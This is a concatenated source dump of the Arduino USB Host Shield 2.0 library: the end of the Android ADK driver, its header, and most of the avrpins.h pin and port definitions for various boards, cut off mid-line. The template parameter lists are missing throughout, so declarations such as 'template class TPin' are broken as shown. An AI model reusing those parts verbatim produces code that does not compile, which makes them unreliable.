if(rcode) { goto FailGetProto; //init fails } USBTRACE2("\r\nADK protocol rev. ", adkproto); } delay(100); //sending ID strings sendStr(ACCESSORY_STRING_MANUFACTURER, manufacturer); delay(10); sendStr(ACCESSORY_STRING_MODEL, model); delay(10); sendStr(ACCESSORY_STRING_DESCRIPTION, description); delay(10); sendStr(ACCESSORY_STRING_VERSION, version); delay(10); sendStr(ACCESSORY_STRING_URI, uri); delay(10); sendStr(ACCESSORY_STRING_SERIAL, serial); delay(100); //switch to accessory mode //the Android phone will reset rcode = switchAcc(); if(rcode) { goto FailSwAcc; //init fails } rcode = USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET; delay(100); // Give Android a chance to do its reset. This is a guess, and possibly could be lower. goto SwAttempt; //switch to accessory mode attempted /* diagnostic messages */ FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(rcode); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(rcode); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(rcode); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(rcode); goto Fail; #endif FailGetProto: #ifdef DEBUG_USB_HOST USBTRACE("\r\ngetProto:"); goto Fail; #endif FailSwAcc: #ifdef DEBUG_USB_HOST USBTRACE("\r\nswAcc:"); goto Fail; #endif //FailOnInit: // USBTRACE("OnInit:"); // goto Fail; // SwAttempt: #ifdef DEBUG_USB_HOST USBTRACE("\r\nAccessory mode switch attempt"); Fail: #endif //USBTRACE2("\r\nADK Init Failed, error code: ", rcode); //NotifyFail(rcode); Release(); return rcode; } /* Extracts bulk-IN and bulk-OUT endpoint information from config descriptor */ void ADK::EndpointXtract(uint8_t conf, uint8_t iface __attribute__((unused)), uint8_t alt __attribute__((unused)), uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) { //ErrorMessage(PSTR("Conf.Val"), conf); //ErrorMessage(PSTR("Iface Num"), iface); //ErrorMessage(PSTR("Alt.Set"), alt); //added by Yuuichi Akagawa if(bNumEP == 3) { return; } bConfNum = conf; if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) { uint8_t index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex; // Fill in the endpoint info structure epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize; bNumEP++; //PrintEndpointDescriptor(pep); } } /* Performs a cleanup after failed Init() attempt */ uint8_t ADK::Release() { pUsb->GetAddressPool().FreeAddress(bAddress); bNumEP = 1; //must have to be reset to 1 bAddress = 0; ready = false; return 0; } uint8_t ADK::RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr) { //USBTRACE2("\r\nAddr: ", bAddress ); //USBTRACE2("\r\nEP: ",epInfo[epDataInIndex].epAddr); return pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, bytes_rcvd, dataptr); } uint8_t ADK::SndData(uint16_t nbytes, uint8_t *dataptr) { return pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, nbytes, dataptr); } void ADK::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) { Notify(PSTR("Endpoint descriptor:"), 0x80); Notify(PSTR("\r\nLength:\t\t"), 0x80); D_PrintHex (ep_ptr->bLength, 0x80); Notify(PSTR("\r\nType:\t\t"), 0x80); D_PrintHex (ep_ptr->bDescriptorType, 0x80); Notify(PSTR("\r\nAddress:\t"), 0x80); D_PrintHex (ep_ptr->bEndpointAddress, 0x80); Notify(PSTR("\r\nAttributes:\t"), 0x80); D_PrintHex (ep_ptr->bmAttributes, 0x80); Notify(PSTR("\r\nMaxPktSize:\t"), 0x80); D_PrintHex (ep_ptr->wMaxPacketSize, 0x80); Notify(PSTR("\r\nPoll Intrv:\t"), 0x80); D_PrintHex (ep_ptr->bInterval, 0x80); Notify(PSTR("\r\n"), 0x80); } ================================================ FILE: libraries/USB_Host_Shield_2.0/adk.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ /* Google ADK interface support header */ #if !defined(_ADK_H_) #define _ADK_H_ #include "Usb.h" #define ADK_VID 0x18D1 #define ADK_PID 0x2D00 #define ADB_PID 0x2D01 #define XOOM //enables repeating getProto() and getConf() attempts //necessary for slow devices such as Motorola XOOM //defined by default, can be commented out to save memory /* requests */ #define ADK_GETPROTO 51 //check USB accessory protocol version #define ADK_SENDSTR 52 //send identifying string #define ADK_ACCSTART 53 //start device in accessory mode #define bmREQ_ADK_GET USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_VENDOR|USB_SETUP_RECIPIENT_DEVICE #define bmREQ_ADK_SEND USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_VENDOR|USB_SETUP_RECIPIENT_DEVICE #define ACCESSORY_STRING_MANUFACTURER 0 #define ACCESSORY_STRING_MODEL 1 #define ACCESSORY_STRING_DESCRIPTION 2 #define ACCESSORY_STRING_VERSION 3 #define ACCESSORY_STRING_URI 4 #define ACCESSORY_STRING_SERIAL 5 #define ADK_MAX_ENDPOINTS 3 //endpoint 0, bulk_IN, bulk_OUT class ADK; class ADK : public USBDeviceConfig, public UsbConfigXtracter { private: /* ID strings */ const char* manufacturer; const char* model; const char* description; const char* version; const char* uri; const char* serial; /* ADK proprietary requests */ uint8_t getProto(uint8_t* adkproto); uint8_t sendStr(uint8_t index, const char* str); uint8_t switchAcc(void); protected: static const uint8_t epDataInIndex; // DataIn endpoint index static const uint8_t epDataOutIndex; // DataOUT endpoint index /* mandatory members */ USB *pUsb; uint8_t bAddress; uint8_t bConfNum; // configuration number uint8_t bNumEP; // total number of EP in the configuration bool ready; /* Endpoint data structure */ EpInfo epInfo[ADK_MAX_ENDPOINTS]; void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr); public: ADK(USB *pUsb, const char* manufacturer, const char* model, const char* description, const char* version, const char* uri, const char* serial); // Methods for receiving and sending data uint8_t RcvData(uint16_t *nbytesptr, uint8_t *dataptr); uint8_t SndData(uint16_t nbytes, uint8_t *dataptr); // USBDeviceConfig implementation uint8_t ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Release(); virtual uint8_t Poll() { return 0; }; virtual uint8_t GetAddress() { return bAddress; }; virtual bool isReady() { return ready; }; virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return (vid == ADK_VID && (pid == ADK_PID || pid == ADB_PID)); }; //UsbConfigXtracter implementation void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep); }; //class ADK : public USBDeviceConfig ... /* get ADK protocol version */ /* returns 2 bytes in *adkproto */ inline uint8_t ADK::getProto(uint8_t* adkproto) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_ADK_GET, ADK_GETPROTO, 0, 0, 0, 2, 2, adkproto, NULL)); } /* send ADK string */ inline uint8_t ADK::sendStr(uint8_t index, const char* str) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_ADK_SEND, ADK_SENDSTR, 0, 0, index, strlen(str) + 1, strlen(str) + 1, (uint8_t*)str, NULL)); } /* switch to accessory mode */ inline uint8_t ADK::switchAcc(void) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_ADK_SEND, ADK_ACCSTART, 0, 0, 0, 0, 0, NULL, NULL)); } #endif // _ADK_H_ ================================================ FILE: libraries/USB_Host_Shield_2.0/avrpins.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ /* derived from Konstantin Chizhov's AVR port templates */ #if !defined(_usb_h_) || defined(_avrpins_h_) #error "Never include avrpins.h directly; include Usb.h instead" #else #define _avrpins_h_ #if defined(__AVR__) // pointers are 16 bits on AVR #define pgm_read_pointer(p) pgm_read_word(p) // Support for these boards needs to be manually activated in settings.h or in a makefile #if !defined(BOARD_MEGA_ADK) && defined(__AVR_ATmega2560__) && (USE_UHS_MEGA_ADK || defined(ARDUINO_AVR_ADK)) #define BOARD_MEGA_ADK #elif !defined(BOARD_BLACK_WIDDOW) && USE_UHS_BLACK_WIDDOW #define BOARD_BLACK_WIDDOW #endif #ifdef PORTA #define USE_PORTA #endif #ifdef PORTB #define USE_PORTB #endif #ifdef PORTC #define USE_PORTC #endif #ifdef PORTD #define USE_PORTD #endif #ifdef PORTE #define USE_PORTE #endif #ifdef PORTF #define USE_PORTF #endif #ifdef PORTG #define USE_PORTG #endif #ifdef PORTH #define USE_PORTH #endif #ifdef PORTJ #define USE_PORTJ #endif #ifdef PORTK #define USE_PORTK #endif #ifdef PORTL #define USE_PORTL #endif #ifdef PORTQ #define USE_PORTQ #endif #ifdef PORTR #define USE_PORTR #endif #ifdef TCCR0A #define USE_TCCR0A #endif #ifdef TCCR1A #define USE_TCCR1A #endif #ifdef TCCR2A #define USE_TCCR2A #endif //Port definitions for AtTiny, AtMega families. #define MAKE_PORT(portName, ddrName, pinName, className, ID) \ class className{\ public:\ typedef uint8_t DataT;\ public:\ static void Write(DataT value){portName = value;}\ static void ClearAndSet(DataT clearMask, DataT value){portName = (portName & ~clearMask) | value;}\ static DataT Read(){return portName;}\ static void DirWrite(DataT value){ddrName = value;}\ static DataT DirRead(){return ddrName;}\ static void Set(DataT value){portName |= value;}\ static void Clear(DataT value){portName &= ~value;}\ static void Toggle(DataT value){portName ^= value;}\ static void DirSet(DataT value){ddrName |= value;}\ static void DirClear(DataT value){ddrName &= ~value;}\ static void DirToggle(DataT value){ddrName ^= value;}\ static DataT PinRead(){return pinName;}\ enum{Id = ID};\ enum{Width=sizeof(DataT)*8};\ }; // TCCR registers to set/clear Arduino PWM #define MAKE_TCCR(TccrName, className) \ class className{\ public:\ typedef uint8_t DataT;\ public:\ static void Write(DataT value){TccrName = value;}\ static void ClearAndSet(DataT clearMask, DataT value){TccrName = (TccrName & ~clearMask) | value;}\ static DataT Read(){return TccrName;}\ static void Set(DataT value){TccrName |= value;}\ static void Clear(DataT value){TccrName &= ~value;}\ static void Toggle(DataT value){TccrName ^= value;}\ enum{Width=sizeof(DataT)*8};\ }; #ifdef USE_PORTA MAKE_PORT(PORTA, DDRA, PINA, Porta, 'A') #endif #ifdef USE_PORTB MAKE_PORT(PORTB, DDRB, PINB, Portb, 'B') #endif #ifdef USE_PORTC MAKE_PORT(PORTC, DDRC, PINC, Portc, 'C') #endif #ifdef USE_PORTD MAKE_PORT(PORTD, DDRD, PIND, Portd, 'D') #endif #ifdef USE_PORTE MAKE_PORT(PORTE, DDRE, PINE, Porte, 'E') #endif #ifdef USE_PORTF MAKE_PORT(PORTF, DDRF, PINF, Portf, 'F') #endif #ifdef USE_PORTG MAKE_PORT(PORTG, DDRG, PING, Portg, 'G') #endif #ifdef USE_PORTH MAKE_PORT(PORTH, DDRH, PINH, Porth, 'H') #endif #ifdef USE_PORTJ MAKE_PORT(PORTJ, DDRJ, PINJ, Portj, 'J') #endif #ifdef USE_PORTK MAKE_PORT(PORTK, DDRK, PINK, Portk, 'K') #endif #ifdef USE_PORTL MAKE_PORT(PORTL, DDRL, PINL, Portl, 'L') #endif #ifdef USE_PORTQ MAKE_PORT(PORTQ, DDRQ, PINQ, Portq, 'Q') #endif #ifdef USE_PORTR MAKE_PORT(PORTR, DDRR, PINR, Portr, 'R') #endif #ifdef USE_TCCR0A MAKE_TCCR(TCCR0A, Tccr0a) #endif #ifdef USE_TCCR1A MAKE_TCCR(TCCR1A, Tccr1a) #endif #ifdef USE_TCCR2A MAKE_TCCR(TCCR2A, Tccr2a) #endif // this class represents one pin in a IO port. // It is fully static. template class TPin { // BOOST_STATIC_ASSERT(PIN < PORT::Width); public: typedef PORT Port; enum { Number = PIN }; static void Set() { PORT::Set(1 << PIN); } static void Set(uint8_t val) { if(val) Set(); else Clear(); } static void SetDir(uint8_t val) { if(val) SetDirWrite(); else SetDirRead(); } static void Clear() { PORT::Clear(1 << PIN); } static void Toggle() { PORT::Toggle(1 << PIN); } static void SetDirRead() { PORT::DirClear(1 << PIN); } static void SetDirWrite() { PORT::DirSet(1 << PIN); } static uint8_t IsSet() { return PORT::PinRead() & (uint8_t)(1 << PIN); } static void WaiteForSet() { while(IsSet() == 0) { } } static void WaiteForClear() { while(IsSet()) { } } }; //class TPin... // this class represents one bit in TCCR port. // used to set/clear TCCRx bits // It is fully static. template class TCom { // BOOST_STATIC_ASSERT(PIN < PORT::Width); public: typedef TCCR Tccr; enum { Com = COM }; static void Set() { TCCR::Set(1 << COM); } static void Clear() { TCCR::Clear(1 << COM); } static void Toggle() { TCCR::Toggle(1 << COM); } }; //class TCom... //Short pin definitions #ifdef USE_PORTA typedef TPin Pa0; typedef TPin Pa1; typedef TPin Pa2; typedef TPin Pa3; typedef TPin Pa4; typedef TPin Pa5; typedef TPin Pa6; typedef TPin Pa7; #endif #ifdef USE_PORTB typedef TPin Pb0; typedef TPin Pb1; typedef TPin Pb2; typedef TPin Pb3; typedef TPin Pb4; typedef TPin Pb5; typedef TPin Pb6; typedef TPin Pb7; #endif #ifdef USE_PORTC typedef TPin Pc0; typedef TPin Pc1; typedef TPin Pc2; typedef TPin Pc3; typedef TPin Pc4; typedef TPin Pc5; typedef TPin Pc6; typedef TPin Pc7; #endif #ifdef USE_PORTD typedef TPin Pd0; typedef TPin Pd1; typedef TPin Pd2; typedef TPin Pd3; typedef TPin Pd4; typedef TPin Pd5; typedef TPin Pd6; typedef TPin Pd7; #endif #ifdef USE_PORTE typedef TPin Pe0; typedef TPin Pe1; typedef TPin Pe2; typedef TPin Pe3; typedef TPin Pe4; typedef TPin Pe5; typedef TPin Pe6; typedef TPin Pe7; #endif #ifdef USE_PORTF typedef TPin Pf0; typedef TPin Pf1; typedef TPin Pf2; typedef TPin Pf3; typedef TPin Pf4; typedef TPin Pf5; typedef TPin Pf6; typedef TPin Pf7; #endif #ifdef USE_PORTG typedef TPin Pg0; typedef TPin Pg1; typedef TPin Pg2; typedef TPin Pg3; typedef TPin Pg4; typedef TPin Pg5; typedef TPin Pg6; typedef TPin Pg7; #endif #ifdef USE_PORTH typedef TPin Ph0; typedef TPin Ph1; typedef TPin Ph2; typedef TPin Ph3; typedef TPin Ph4; typedef TPin Ph5; typedef TPin Ph6; typedef TPin Ph7; #endif #ifdef USE_PORTJ typedef TPin Pj0; typedef TPin Pj1; typedef TPin Pj2; typedef TPin Pj3; typedef TPin Pj4; typedef TPin Pj5; typedef TPin Pj6; typedef TPin Pj7; #endif #ifdef USE_PORTK typedef TPin Pk0; typedef TPin Pk1; typedef TPin Pk2; typedef TPin Pk3; typedef TPin Pk4; typedef TPin Pk5; typedef TPin Pk6; typedef TPin Pk7; #endif #ifdef USE_PORTL typedef TPin Pl0; typedef TPin Pl1; typedef TPin Pl2; typedef TPin Pl3; typedef TPin Pl4; typedef TPin Pl5; typedef TPin Pl6; typedef TPin Pl7; #endif #ifdef USE_PORTQ typedef TPin Pq0; typedef TPin Pq1; typedef TPin Pq2; typedef TPin Pq3; typedef TPin Pq4; typedef TPin Pq5; typedef TPin Pq6; typedef TPin Pq7; #endif #ifdef USE_PORTR typedef TPin Pr0; typedef TPin Pr1; typedef TPin Pr2; typedef TPin Pr3; typedef TPin Pr4; typedef TPin Pr5; typedef TPin Pr6; typedef TPin Pr7; #endif #ifdef USE_TCCR0A typedef TCom Tc0a; //P6 typedef TCom Tc0b; //P5 #endif #ifdef USE_TCCR1A typedef TCom Tc1a; //P9 typedef TCom Tc1b; //P10 #endif #ifdef USE_TCCR2A typedef TCom Tc2a; //P11 typedef TCom Tc2b; //P3 #endif template class Tp_Tc { public: static void SetDir(uint8_t val) { if(val) SetDirWrite(); else SetDirRead(); } static void SetDirRead() { Tp_pin::SetDirRead(); //set pin direction Tc_bit::Clear(); //disconnect pin from PWM } static void SetDirWrite() { Tp_pin::SetDirWrite(); Tc_bit::Clear(); } }; /* pin definitions for cases where it's necessary to clear compare output mode bits */ //typedef Tp_Tc P3; //Arduino pin 3 //typedef Tp_Tc P5; //Arduino pin 5 //typedef Tp_Tc P6; //Arduino pin 6 //typedef Tp_Tc P9; //Arduino pin 9 //typedef Tp_Tc P10; //Arduino pin 10 //typedef Tp_Tc P11; //Arduino pin 11 /* Arduino pin definitions */ #if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) // "Mega" Arduino pin numbers #define P0 Pe0 #define P1 Pe1 #define P2 Pe4 #define P3 Pe5 #define P4 Pg5 #define P5 Pe3 #define P6 Ph3 #define P7 Ph4 #define P8 Ph5 #define P9 Ph6 #define P10 Pb4 #define P11 Pb5 #define P12 Pb6 #define P13 Pb7 #define P14 Pj1 #define P15 Pj0 #define P16 Ph1 #define P17 Ph0 #define P18 Pd3 #define P19 Pd2 #define P20 Pd1 #define P21 Pd0 #define P22 Pa0 #define P23 Pa1 #define P24 Pa2 #define P25 Pa3 #define P26 Pa4 #define P27 Pa5 #define P28 Pa6 #define P29 Pa7 #define P30 Pc7 #define P31 Pc6 #define P32 Pc5 #define P33 Pc4 #define P34 Pc3 #define P35 Pc2 #define P36 Pc1 #define P37 Pc0 #define P38 Pd7 #define P39 Pg2 #define P40 Pg1 #define P41 Pg0 #define P42 Pl7 #define P43 Pl6 #define P44 Pl5 #define P45 Pl4 #define P46 Pl3 #define P47 Pl2 #define P48 Pl1 #define P49 Pl0 #define P50 Pb3 #define P51 Pb2 #define P52 Pb1 #define P53 Pb0 #ifdef BOARD_MEGA_ADK // These pins are not broken out on the Arduino ADK #define P54 Pe6 // INT on Arduino ADK #define P55 Pj2 // MAX_RESET on Arduino ADK #endif // "Mega" pin numbers #elif defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) // "Classic" Arduino pin numbers #define P0 Pd0 #define P1 Pd1 #define P2 Pd2 #define P3 Pd3 #define P4 Pd4 #define P5 Pd5 #define P6 Pd6 #define P7 Pd7 #define P8 Pb0 #define P9 Pb1 #define P10 Pb2 #define P11 Pb3 #define P12 Pb4 #define P13 Pb5 #define P14 Pc0 #define P15 Pc1 #define P16 Pc2 #define P17 Pc3 #define P18 Pc4 #define P19 Pc5 // "Classic" Arduino pin numbers #elif defined(CORE_TEENSY) && defined(__AVR_ATmega32U4__) // Teensy 2.0 pin numbers // http://www.pjrc.com/teensy/pinout.html #define P0 Pb0 #define P1 Pb1 #define P2 Pb2 #define P3 Pb3 #define P4 Pb7 #define P5 Pd0 #define P6 Pd1 #define P7 Pd2 #define P8 Pd3 #define P9 Pc6 #define P10 Pc7 #define P11 Pd6 #define P12 Pd7 #define P13 Pb4 #define P14 Pb5 #define P15 Pb6 #define P16 Pf7 #define P17 Pf6 #define P18 Pf5 #define P19 Pf4 #define P20 Pf1 #define P21 Pf0 #define P22 Pd4 #define P23 Pd5 #define P24 Pe6 // Teensy 2.0 #elif defined(__AVR_ATmega32U4__) // Arduino Leonardo pin numbers #define P0 Pd2 // D0 - PD2 #define P1 Pd3 // D1 - PD3 #define P2 Pd1 // D2 - PD1 #define P3 Pd0 // D3 - PD0 #define P4 Pd4 // D4 - PD4 #define P5 Pc6 // D5 - PC6 #define P6 Pd7 // D6 - PD7 #define P7 Pe6 // D7 - PE6 #define P8 Pb4 // D8 - PB4 #define P9 Pb5 // D9 - PB5 #define P10 Pb6 // D10 - PB6 #define P11 Pb7 // D11 - PB7 #define P12 Pd6 // D12 - PD6 #define P13 Pc7 // D13 - PC7 #define P14 Pb3 // D14 - MISO - PB3 #define P15 Pb1 // D15 - SCK - PB1 #define P16 Pb2 // D16 - MOSI - PB2 #define P17 Pb0 // D17 - SS - PB0 #define P18 Pf7 // D18 - A0 - PF7 #define P19 Pf6 // D19 - A1 - PF6 #define P20 Pf5 // D20 - A2 - PF5 #define P21 Pf4 // D21 - A3 - PF4 #define P22 Pf1 // D22 - A4 - PF1 #define P23 Pf0 // D23 - A5 - PF0 #define P24 Pd4 // D24 / D4 - A6 - PD4 #define P25 Pd7 // D25 / D6 - A7 - PD7 #define P26 Pb4 // D26 / D8 - A8 - PB4 #define P27 Pb5 // D27 / D9 - A9 - PB5 #define P28 Pb6 // D28 / D10 - A10 - PB6 #define P29 Pd6 // D29 / D12 - A11 - PD6 // Arduino Leonardo pin numbers #elif defined(CORE_TEENSY) && (defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__)) // Teensy++ 1.0 and 2.0 pin numbers // http://www.pjrc.com/teensy/pinout.html #define P0 Pd0 #define P1 Pd1 #define P2 Pd2 #define P3 Pd3 #define P4 Pd4 #define P5 Pd5 #define P6 Pd6 #define P7 Pd7 #define P8 Pe0 #define P9 Pe1 #define P10 Pc0 #define P11 Pc1 #define P12 Pc2 #define P13 Pc3 #define P14 Pc4 #define P15 Pc5 #define P16 Pc6 #define P17 Pc7 #define P18 Pe6 #define P19 Pe7 #define P20 Pb0 #define P21 Pb1 #define P22 Pb2 #define P23 Pb3 #define P24 Pb4 #define P25 Pb5 #define P26 Pb6 #define P27 Pb7 #define P28 Pa0 #define P29 Pa1 #define P30 Pa2 #define P31 Pa3 #define P32 Pa4 #define P33 Pa5 #define P34 Pa6 #define P35 Pa7 #define P36 Pe4 #define P37 Pe5 #define P38 Pf0 #define P39 Pf1 #define P40 Pf2 #define P41 Pf3 #define P42 Pf4 #define P43 Pf5 #define P44 Pf6 #define P45 Pf7 // Teensy++ 1.0 and 2.0 #elif defined(ARDUINO_AVR_BALANDUINO) && (defined(__AVR_ATmega644__) || defined(__AVR_ATmega1284P__)) // Balanduino pin numbers // http://balanduino.net/ #define P0 Pd0 /* 0 - PD0 */ #define P1 Pd1 /* 1 - PD1 */ #if BALANDUINO_REVISION < 13 #define P2 Pb2 /* 2 - PB2 */ #define P3 Pd6 /* 3 - PD6 */ #define P4 Pd7 /* 4 - PD7 */ #define P5 Pb3 /* 5 - PB3 */ #else #define P2 Pd2 /* 2 - PD2 */ #define P3 Pd3 /* 3 - PD3 */ #define P4 Pd6 /* 4 - PD6 */ #define P5 Pd7 /* 5 - PD7 */ #endif #define P6 Pb4 /* 6 - PB4 */ #define P7 Pa0 /* 7 - PA0 */ #define P8 Pa1 /* 8 - PA1 */ #define P9 Pa2 /* 9 - PA2 */ #define P10 Pa3 /* 10 - PA3 */ #define P11 Pa4 /* 11 - PA4 */ #define P12 Pa5 /* 12 - PA5 */ #define P13 Pc1 /* 13 - PC1 */ #define P14 Pc0 /* 14 - PC0 */ #if BALANDUINO_REVISION < 13 #define P15 Pd2 /* 15 - PD2 */ #define P16 Pd3 /* 16 - PD3 */ #else #define P15 Pb2 /* 15 - PB2 */ #define P16 Pb3 /* 16 - PB2 */ #endif #define P17 Pd4 /* 17 - PD4 */ #define P18 Pd5 /* 18 - PD5 */ #define P19 Pc2 /* 19 - PC2 */ #define P20 Pc3 /* 20 - PC3 */ #define P21 Pc4 /* 21 - PC4 */ #define P22 Pc5 /* 22 - PC5 */ #define P23 Pc6 /* 23 - PC6 */ #define P24 Pc7 /* 24 - PC7 */ #define P25 Pb0 /* 25 - PB0 */ #define P26 Pb1 /* 26 - PB1 */ #define P27 Pb5 /* 27 - PB5 */ #define P28 Pb6 /* 28 - PB6 */ #define P29 Pb7 /* 29 - PB7 */ #define P30 Pa6 /* 30 - PA6 */ #define P31 Pa7 /* 31 - PA7 */ // Balanduino #elif defined(ARDUINO_AVR_UNO_PRO) && defined(__AVR_ATmega1284P__) // UNO*Pro pin numbers // Homepage: http://www.hobbytronics.co.uk/arduino-uno-pro // Pin Reference: http://www.hobbytronics.co.uk/download/uno_pro/pins_arduino.h #define P0 Pd0 #define P1 Pd1 #define P2 Pb2 #define P3 Pb3 #define P4 Pb0 #define P5 Pb1 #define P6 Pd2 #define P7 Pd3 #define P8 Pd5 #define P9 Pd6 #define P10 Pb4 #define P11 Pb5 #define P12 Pb6 #define P13 Pb7 #define P14 Pa7 #define P15 Pa6 #define P16 Pa5 #define P17 Pa4 #define P18 Pa3 #define P19 Pa2 #define P20 Pa1 #define P21 Pa0 #define P22 Pc0 #define P23 Pc1 #define P24 Pc2 #define P25 Pc3 #define P26 Pc4 #define P27 Pc5 #define P28 Pc6 #define P29 Pc7 #define P30 Pd4 #define P31 Pd7 // UNO*Pro #elif defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284__) || defined(__AVR_ATmega1284P__) // Sanguino pin numbers // Homepage: http://sanguino.cc/hardware // Hardware add-on: https://github.com/Lauszus/Sanguino #define P0 Pb0 #define P1 Pb1 #define P2 Pb2 #define P3 Pb3 #define P4 Pb4 #define P5 Pb5 #define P6 Pb6 #define P7 Pb7 #define P8 Pd0 #define P9 Pd1 #define P10 Pd2 #define P11 Pd3 #define P12 Pd4 #define P13 Pd5 #define P14 Pd6 #define P15 Pd7 #define P16 Pc0 #define P17 Pc1 #define P18 Pc2 #define P19 Pc3 #define P20 Pc4 #define P21 Pc5 #define P22 Pc6 #define P23 Pc7 #define P24 Pa0 #define P25 Pa1 #define P26 Pa2 #define P27 Pa3 #define P28 Pa4 #define P29 Pa5 #define P30 Pa6 #define P31 Pa7 // Sanguino #else #error "Please define board in avrpins.h" #endif // Arduino pin definitions #elif defined(__arm__) // pointers are 32 bits on ARM #define pgm_read_pointer(p) pgm_read_dword(p) #if defined(CORE_TEENSY) && (defined(__MK20DX128__) || defined(__MK20DX256__) || defined(__MK64FX512__) || defined(__MK66FX1M0__)) #include "core_pins.h" #include "avr_emulation.h" #define GPIO_BITBAND_ADDR(reg, bit) (((uint32_t)&(reg) - 0x40000000) * 32 + (bit) * 4 + 0x42000000) #define GPIO_BITBAND_PTR(reg, bit) ((uint8_t *)GPIO_BITBAND_ADDR((reg), (bit))) #define MAKE_PIN(className, baseReg, pinNum, configReg) \ class className { \ public: \ static void Set() { \ *GPIO_BITBAND_PTR(baseReg, pinNum) = 1; \ } \ static void Clear() { \ *GPIO_BITBAND_PTR(baseReg, pinNum) = 0; \ } \ static void SetDirRead() { \ configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \ *(GPIO_BITBAND_PTR(baseReg, pinNum) + 640) = 0; \ } \ static void SetDirWrite() { \ configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \ *(GPIO_BITBAND_PTR(baseReg, pinNum) + 640) = 1; \ } \ static uint8_t IsSet() { \ return *(GPIO_BITBAND_PTR(baseReg, pinNum) + 512); \ } \ }; MAKE_PIN(P0, CORE_PIN0_PORTREG, CORE_PIN0_BIT, CORE_PIN0_CONFIG); MAKE_PIN(P1, CORE_PIN1_PORTREG, CORE_PIN1_BIT, CORE_PIN1_CONFIG); MAKE_PIN(P2, CORE_PIN2_PORTREG, CORE_PIN2_BIT, CORE_PIN2_CONFIG); MAKE_PIN(P3, CORE_PIN3_PORTREG, CORE_PIN3_BIT, CORE_PIN3_CONFIG); MAKE_PIN(P4, CORE_PIN4_PORTREG, CORE_PIN4_BIT, CORE_PIN4_CONFIG); MAKE_PIN(P5, CORE_PIN5_PORTREG, CORE_PIN5_BIT, CORE_PIN5_CONFIG); MAKE_PIN(P6, CORE_PIN6_PORTREG, CORE_PIN6_BIT, CORE_PIN6_CONFIG); MAKE_PIN(P7, CORE_PIN7_PORTREG, CORE_PIN7_BIT, CORE_PIN7_CONFIG); MAKE_PIN(P8, CORE_PIN8_PORTREG, CORE_PIN8_BIT, CORE_PIN8_CONFIG); MAKE_PIN(P9, CORE_PIN9_PORTREG, CORE_PIN9_BIT, CORE_PIN9_CONFIG); MAKE_PIN(P10, CORE_PIN10_PORTREG, CORE_PIN10_BIT, CORE_PIN10_CONFIG); MAKE_PIN(P11, CORE_PIN11_PORTREG, CORE_PIN11_BIT, CORE_PIN11_CONFIG); MAKE_PIN(P12, CORE_PIN12_PORTREG, CORE_PIN12_BIT, CORE_PIN12_CONFIG); MAKE_PIN(P13, CORE_PIN13_PORTREG, CORE_PIN13_BIT, CORE_PIN13_CONFIG); MAKE_PIN(P14, CORE_PIN14_PORTREG, CORE_PIN14_BIT, CORE_PIN14_CONFIG); MAKE_PIN(P15, CORE_PIN15_PORTREG, CORE_PIN15_BIT, CORE_PIN15_CONFIG); MAKE_PIN(P16, CORE_PIN16_PORTREG, CORE_PIN16_BIT, CORE_PIN16_CONFIG); MAKE_PIN(P17, CORE_PIN17_PORTREG, CORE_PIN17_BIT, CORE_PIN17_CONFIG); MAKE_PIN(P18, CORE_PIN18_PORTREG, CORE_PIN18_BIT, CORE_PIN18_CONFIG); MAKE_PIN(P19, CORE_PIN19_PORTREG, CORE_PIN19_BIT, CORE_PIN19_CONFIG); MAKE_PIN(P20, CORE_PIN20_PORTREG, 